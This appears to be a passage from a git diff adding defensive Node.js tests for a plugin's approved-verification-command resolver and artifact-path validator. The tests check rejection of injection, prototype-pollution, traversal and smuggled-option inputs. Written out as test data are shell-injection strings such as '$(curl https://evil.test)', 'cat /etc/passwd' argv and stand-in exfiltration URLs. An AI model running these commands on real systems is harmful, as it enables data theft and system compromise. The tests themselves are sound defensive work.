resolveApprovedVerificationCommandV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validRequest(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => resolveApprovedVerificationCommandV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedRequest {} + const instance = new SpoofedRequest(); + Object.assign(instance, validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validRequest()); + assert.doesNotThrow(() => resolveApprovedVerificationCommandV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return validPolicy(); } }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + + let stringed = 0; + const noisy = { + toString() { + stringed += 1; + return 'unit-tests'; + }, + valueOf() { + stringed += 1; + return 'unit-tests'; + }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: noisy }, + })).code, + 'invalid_json_type', + ); + assert.equal(stringed, 0); + + const boxed = validRequest({ + selection: { command_id: new String('unit-tests') }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('hostile iterators never run', () => { + let walked = 0; + const iteratorParams = { + file: 'spec.js', + [Symbol.iterator]() { + walked += 1; + throw new Error('iterator bomb'); + }, + }; + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: iteratorParams }, + }))); + assert.equal(error.code, 'symbol_key_denied'); + assert.equal(walked, 0); + assert.equal(error.message.includes('iterator bomb'), false); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRequest(); + cyclic.self = cyclic; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRequest(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 40; index += 1) deep = { wrapped: deep }; + const deepRequest = validRequest(); + deepRequest.deep = deep; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(deepRequest)).code, 'value_depth_exceeded'); + + const wide = validRequest(); + for (let index = 0; index < MAX_POLICY_OBJECT_KEYS; index += 1) { + wide[`extra_${index}`] = true; + } + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRequest(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(unknownButHostile)).code, + 'aliased_reference_denied', + ); +}); + +test('prototype pollution keys are unknown and do not grant authority', () => { + const polluted = validRequest(); + Object.defineProperty(polluted, '__proto__', { + enumerable: true, + configurable: true, + writable: true, + value: { command_id: 'unit-tests', executable: '/bin/sh' }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1(polluted)); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('/bin/sh'), false); + assert.equal(error.message.includes('__proto__'), false); + assert.equal(error.message.includes('unit-tests'), false); + + const ctor = validRequest(); + ctor.constructor = { prototype: { executable: '/bin/sh' } }; + const ctorError = errorOf(() => resolveApprovedVerificationCommandV1(ctor)); + assert.equal(ctorError.code, 'unknown_key'); + assert.equal(ctorError.message.includes('/bin/sh'), false); +}); + +test('sparse and extended arrays on selection parameters are denied', () => { + const parameters = []; + parameters[0] = 'spec.js'; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters }, + }))).code, + 'invalid_type', + ); + + const extended = { file: 'spec.js' }; + Object.defineProperty(extended, 'length', { value: 1, enumerable: true }); + const extendedError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: extended }, + }))); + assert.ok(extendedError.code === 'unknown_key' || extendedError.code === 'invalid_format' + || extendedError.code === 'invalid_type'); +}); + +test('non-finite and unsafe integers never coerce into canonical parameters', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('Unicode, confusable, and control command IDs stay closed', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u2010tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u0301-tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'Unit-Tests' }, + })).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests\n' }, + })).code, + 'control_character_denied', + ); +}); + +test('receipts stay frozen, fresh, and detached from caller graphs', () => { + const request = validRequest(); + const first = resolveApprovedVerificationCommandV1(request); + const second = resolveApprovedVerificationCommandV1(request); + assert.notEqual(first, second); + assert.notEqual(first.argv, second.argv); + assert.notEqual(first.parameters, second.parameters); + assert.notEqual(first.network, second.network); + assert.equal(Object.isFrozen(first), true); + assert.equal(Object.isFrozen(first.argv), true); + assert.equal(Object.isFrozen(first.network), true); + assert.equal(Object.isFrozen(first.policy_identity), true); + assert.equal(Object.isFrozen(first.plan_identity), true); + assert.equal(first.plan_identity.digest, second.plan_identity.digest); + request.selection.command_id = 'mutated'; + assert.equal(first.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(request), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('at resolve'), false); + + const valueError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: '$(curl https://evil.test)' } }, + }))); + assert.equal(valueError.code, 'shell_content_denied'); + assert.equal(valueError.message.includes('curl'), false); + assert.equal(valueError.message.includes('evil.test'), false); + assert.equal(valueError.message.includes('$('), false); +}); + +test('trusted P16A snapshots can be consumed without freezing the caller snapshot', () => { + const parsed = parseVerificationPolicyV1(validPolicy()); + const request = { policy: parsed, selection: validSelection() }; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(parsed), true); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { parsed.commands[0].command_id = 'x'; }, TypeError); + assert.equal(receipt.command_id, 'unit-tests'); +}); + +test('a parsed policy with no matching command still default-denies', () => { + const parsed = parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'other-tests' })], + })); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: parsed, + selection: validSelection(), + })); + assert.equal(error.code, 'unknown_command'); + assert.equal(error.message.includes('unit-tests'), false); + assert.equal(error.message.includes('other-tests'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs new file mode 100644 index 0000000..9766395 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs @@ -0,0 +1,568 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + canonicalVerificationPolicyJsonV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + APPROVED_COMMAND_DIGEST_LABEL, + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + EXECUTABLE_CLOSURE_DIGEST_LABEL, + approvedVerificationCommandDigestV1, + canonicalApprovedVerificationCommandJsonV1, + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + parameterizedRequest, + typedRequest, + validCommand, + validParameterizedCommand, + validPolicy, + validRequest, + validSelection, + validTypedCommand, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + 'codex-co-engineer.approved-verification-command.v1'); + assert.equal(APPROVED_VERIFICATION_COMMAND_VERSION, 1); + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(APPROVED_COMMAND_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.equal(EXECUTABLE_CLOSURE_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE); +}); + +test('a valid Codex selection resolves to a frozen detached receipt', () => { + const request = validRequest(); + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.argv), true); + assert.equal(Object.isFrozen(receipt.parameters), true); + assert.equal(receipt.schema, APPROVED_VERIFICATION_COMMAND_SCHEMA_ID); + assert.equal(receipt.version, APPROVED_VERIFICATION_COMMAND_VERSION); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.deepEqual(receipt.argv, ['test']); + assert.deepEqual(receipt.parameters, {}); + request.selection.command_id = 'other'; + request.policy.commands[0].executable = '/bin/sh'; + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.command_id = 'mutated'; }, TypeError); + assert.throws(() => { receipt.argv.push('injected'); }, TypeError); +}); + +test('parameterized domain and template expansion stay canonical', () => { + const receipt = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.equal(receipt.command_id, 'file-tests'); + assert.equal(receipt.parameters.file, 'spec.js'); + assert.deepEqual(receipt.argv, ['test', '--', 'spec.js']); + assert.equal(receipt.executable, '/usr/bin/npm'); +}); + +test('typed domains expand to exact argv tokens without coercion', () => { + const receipt = resolveApprovedVerificationCommandV1(typedRequest()); + assert.equal(receipt.parameters.count, 2); + assert.equal(receipt.parameters.ok, true); + assert.equal(receipt.parameters.mode, 'ci'); + assert.equal(receipt.parameters.note, 'unit'); + assert.deepEqual(receipt.argv, [ + 'run', '--file', 'spec.js', '--count', '2', '--ok', 'true', + '--mode', 'ci', '--note', 'unit', + ]); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: '2' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ ok: 'true' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ file: 1 }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ mode: 'CI' }) }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: 9 }) }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: 'x'.repeat(33) }), + }, + }))).code, + 'out_of_range', + ); +}); + +test('required, optional, and default semantics follow the P16A domain', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests' }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: {} }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: 'spec.js', extra: 'nope' } }, + }))).code, + 'unknown_key', + ); + const unused = validCommand({ + command_id: 'with-extra', + argv_template: ['test', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 32 }, + tag: { type: 'enum', values: ['a', 'b'] }, + }, + }); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js' } }, + })).code, + 'missing_key', + ); + const complete = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js', tag: 'b' } }, + }); + assert.equal(complete.parameters.tag, 'b'); + assert.deepEqual(complete.argv, ['test', 'spec.js']); + + const omittedParams = resolveApprovedVerificationCommandV1(validRequest({ + selection: { command_id: 'unit-tests' }, + })); + assert.deepEqual(omittedParams.parameters, {}); +}); + +test('canonical identity is deterministic across key order and fresh receipts', () => { + const left = typedRequest(); + const right = { + selection: { + parameters: { + ok: true, + note: 'unit', + mode: 'ci', + file: 'spec.js', + count: 2, + }, + command_id: 'typed-run', + }, + policy: { + version: 1, + commands: [validTypedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }, + }; + const leftReceipt = resolveApprovedVerificationCommandV1(left); + const rightReceipt = resolveApprovedVerificationCommandV1(right); + assert.equal( + canonicalApprovedVerificationCommandJsonV1(left), + canonicalApprovedVerificationCommandJsonV1(right), + ); + assert.equal(leftReceipt.plan_identity.digest, rightReceipt.plan_identity.digest); + assert.equal(leftReceipt.plan_identity.algorithm, 'sha256'); + assert.equal(leftReceipt.plan_identity.domain, IDENTITY_DOMAIN); + assert.equal(leftReceipt.plan_identity.label, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.match(leftReceipt.plan_identity.digest, /^[0-9a-f]{64}$/u); + assert.equal( + approvedVerificationCommandDigestV1(left).digest, + leftReceipt.plan_identity.digest, + ); + assert.notEqual(leftReceipt, rightReceipt); + assert.equal( + leftReceipt.policy_identity.digest, + verificationPolicyDigestV1(left.policy).digest, + ); + assert.equal( + leftReceipt.command_identity.digest, + verificationCommandDigestV1(validTypedCommand()).digest, + ); + assert.equal( + leftReceipt.executable_closure_identity.label, + IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE, + ); + + const other = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 3 }), + }, + })); + assert.notEqual(other.plan_identity.digest, leftReceipt.plan_identity.digest); + assert.notEqual(other.executable_closure_identity.digest, leftReceipt.executable_closure_identity.digest); +}); + +test('policy identity binds the whole catalog, not only the selected command', () => { + const single = resolveApprovedVerificationCommandV1(validRequest()); + const withExtra = resolveApprovedVerificationCommandV1(validRequest({ + policy: validPolicy({ commands: [validCommand(), validParameterizedCommand()] }), + })); + assert.equal(single.command_id, withExtra.command_id); + assert.equal(single.command_identity.digest, withExtra.command_identity.digest); + assert.notEqual(single.policy_identity.digest, withExtra.policy_identity.digest); + assert.notEqual(single.plan_identity.digest, withExtra.plan_identity.digest); + assert.equal( + withExtra.policy_identity.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + })).digest, + ); +}); + +test('absent P16A capabilities are inherited as exact default-deny receipts', () => { + const receipt = resolveApprovedVerificationCommandV1(validRequest()); + assert.deepEqual(receipt.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(receipt.network.mode, 'deny'); + assert.deepEqual(receipt.network.hosts, []); + assert.deepEqual(receipt.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(receipt.environment.entries, []); + assert.deepEqual(receipt.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(receipt.mutation.persistent, false); + assert.equal(receipt.mutation.workspace, 'none'); + assert.equal(receipt.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(receipt.resources, DEFAULT_RESOURCES_RECEIPT); + assert.equal(receipt.network === DEFAULT_NETWORK_RECEIPT, false); + assert.equal(receipt.environment === DEFAULT_ENVIRONMENT_RECEIPT, false); +}); + +test('owner-authored constraints are inherited and cannot be overridden', () => { + const granted = validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + }); + const receipt = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: validSelection(), + }); + assert.deepEqual(receipt.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(receipt.environment.entries[0].name, 'CI'); + assert.equal(receipt.timeout_ms, 120_000); + assert.equal(receipt.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', timeout_ms: 1 }, + })).code, + 'resource_limit_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', environment: { entries: [] } }, + })).code, + 'executable_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', network: { mode: 'allowlist' } }, + })).code, + 'network_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', mutation: { persistent: true } }, + })).code, + 'mutation_permission_denied', + ); +}); + +test('missing policy, command, or authority default-deny', () => { + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({})).code, 'missing_key'); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + selection: validSelection(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [] }), + selection: validSelection(), + })).code, + 'unknown_command', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })).code, + 'unknown_command', + ); + const missing = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })); + assert.equal(missing.message.includes('missing-command'), false); +}); + +test('provider, profile, and manifest matching-text objects remain ineligible', () => { + const policy = validPolicy({ commands: [validCommand()] }); + + const providerSelection = { + command_id: 'unit-tests', + executable: '/usr/bin/npm', + argv_template: ['test'], + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerSelection, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + provider: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + profile: { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + command_id: 'unit-tests', + }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { + command_id: 'unit-tests', + parameters: {}, + timeout_ms: 600_000, + }, + })).code, + 'resource_limit_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + manifest: { command_id: 'unit-tests', parameters: {} }, + })).code, + 'authority_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerReport, + })).code, + 'executable_content_denied', + ); + + const resolved = resolveApprovedVerificationCommandV1({ policy, selection: validSelection() }); + assert.equal(resolved.command_id, 'unit-tests'); +}); + +test('injection through values, templates, options, paths, and shell text is denied', () => { + const cases = [ + ['$(curl https://evil.test)', 'shell_content_denied'], + ['`id`', 'shell_content_denied'], + ['spec.js;id', 'shell_content_denied'], + ['spec.js|cat', 'shell_content_denied'], + ['spec.js && id', 'shell_content_denied'], + ['spec.js\n--extra', 'control_character_denied'], + ['spec.js\u0000x', 'control_character_denied'], + ['--help', 'option_smuggling_denied'], + ['-rf', 'option_smuggling_denied'], + ['../etc', 'invalid_format'], + ['spec/js', 'invalid_format'], + ['spec.js*', 'shell_content_denied'], + ['${SHELL}', 'shell_content_denied'], + ['spec\u2044js', 'ambiguous_id_denied'], + ['.', 'invalid_format'], + ['..', 'invalid_format'], + ['foo bar', 'shell_content_denied'], + ]; + for (const [file, code] of cases) { + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file } }, + }))); + assert.equal(error.code, code, file); + if (file.length > 2) assert.equal(error.message.includes(file), false, file); + assert.equal(error.message.includes('evil'), false, file); + assert.equal(error.message.includes('https://'), false, file); + } + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: '--flag' }), + }, + }))).code, + 'option_smuggling_denied', + ); +}); + +test('boolean and integer argv tokens stay canonical without option smuggling of strings', () => { + const zero = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 0, ok: false }), + }, + })); + assert.deepEqual(zero.argv.slice(3, 7), ['--count', '0', '--ok', 'false']); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: -0 }), + }, + }))).code, + 'invalid_type', + ); +}); + +test('caller objects are not mutated, frozen, or reused', () => { + const request = parameterizedRequest(); + const originalFile = request.selection.parameters.file; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(request), false); + assert.equal(Object.isFrozen(request.policy), false); + assert.equal(Object.isFrozen(request.selection), false); + assert.equal(Object.isFrozen(request.selection.parameters), false); + request.selection.parameters.file = 'mutated.js'; + request.policy.commands.push(validCommand({ command_id: 'other' })); + assert.equal(receipt.parameters.file, originalFile); + assert.equal(receipt.argv[2], 'spec.js'); + const again = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.notEqual(receipt, again); + assert.equal(receipt.plan_identity.digest, again.plan_identity.digest); + assert.equal( + canonicalVerificationPolicyJsonV1(request.policy).includes('file-tests'), + true, + ); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + [secret]: `/usr/bin/${secret}`, + })); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests', url: 'https://evil.example/steal' }, + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); + assert.equal(urlError.code, 'network_content_denied'); +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await readFile( + new URL('../mcp/v3/approved-verification-command.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.match(source, /does not implement the P16C runner/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:fs'/u); + assert.doesNotMatch(source, /from 'node:fs\/promises'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.doesNotMatch(source, /from 'node:os'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('process.env'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs new file mode 100644 index 0000000..6dd50d1 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-path.test.mjs @@ -0,0 +1,162 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + ARTIFACT_RELATIVE_PATH_ERROR_CODES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +// Callers embed accepted paths under a schema field, so the pinned denial +// paths below use the same dotted field spelling an embedding contract uses. +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => validateArtifactRelativePathV1(value, expectedPath), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +// ---- Relative path policy: full rejection matrix. ------------------------- + +test('absolute, drive, UNC, device, and traversal forms are all foreclosed', () => { + pathError('', 'empty_path'); + pathError('/etc/passwd', 'absolute_path_denied'); + pathError('//double/leading', 'absolute_path_denied'); + pathError('C:/Users/diff.patch', 'colon_denied'); + pathError('C:diff.patch', 'colon_denied'); + pathError('\\\\server\\share\\x', 'invalid_separator'); + pathError('runs\\\\diff.patch', 'invalid_separator'); + pathError('file:text/plain', 'colon_denied'); + pathError('report.txt:hidden', 'colon_denied'); + pathError('runs/x/', 'trailing_slash_denied'); + pathError('runs//x', 'empty_segment_denied'); + pathError('./diff.patch', 'alias_segment_denied'); + pathError('../diff.patch', 'alias_segment_denied'); + pathError('runs/../escape', 'alias_segment_denied'); + pathError('...', 'alias_segment_denied'); + pathError('runs/.../x', 'alias_segment_denied'); + for (const reserved of ['CON', 'con.txt', 'Com1', 'lpt0', 'NUL', 'nul', 'PRN', 'aux', 'clock$', 'CLOCK$/token']) { + pathError(`runs/${reserved}`, 'reserved_device_name_denied', 'artifact_ref.relative_path'); + } + for (const ordinary of ['concat', 'auxiliary', 'nullify', 'control', 'companion10']) { + assert.equal(isArtifactRelativePathV1(`runs/${ordinary}.txt`), true, ordinary); + } + pathError('runs/name.', 'edge_character_denied'); + pathError('runs/name ', 'edge_character_denied'); + pathError('runs/ name', 'edge_character_denied'); + pathError(`runs/${'a'.repeat(129)}`, 'segment_too_long'); + pathError(Array.from({ length: 17 }, (unused, index) => `s${index}`).join('/'), 'segment_count_exceeded'); + assert.doesNotThrow(() => validateArtifactRelativePathV1( + Array.from({ length: 16 }, (unused, index) => `s${index}`).join('/'), + )); +}); + +test('separator tricks, controls, invisible characters, and encodings are rejected', () => { + pathError('runs/a\u2044b', 'separator_lookalike_denied'); + pathError('runs/a\u2215b', 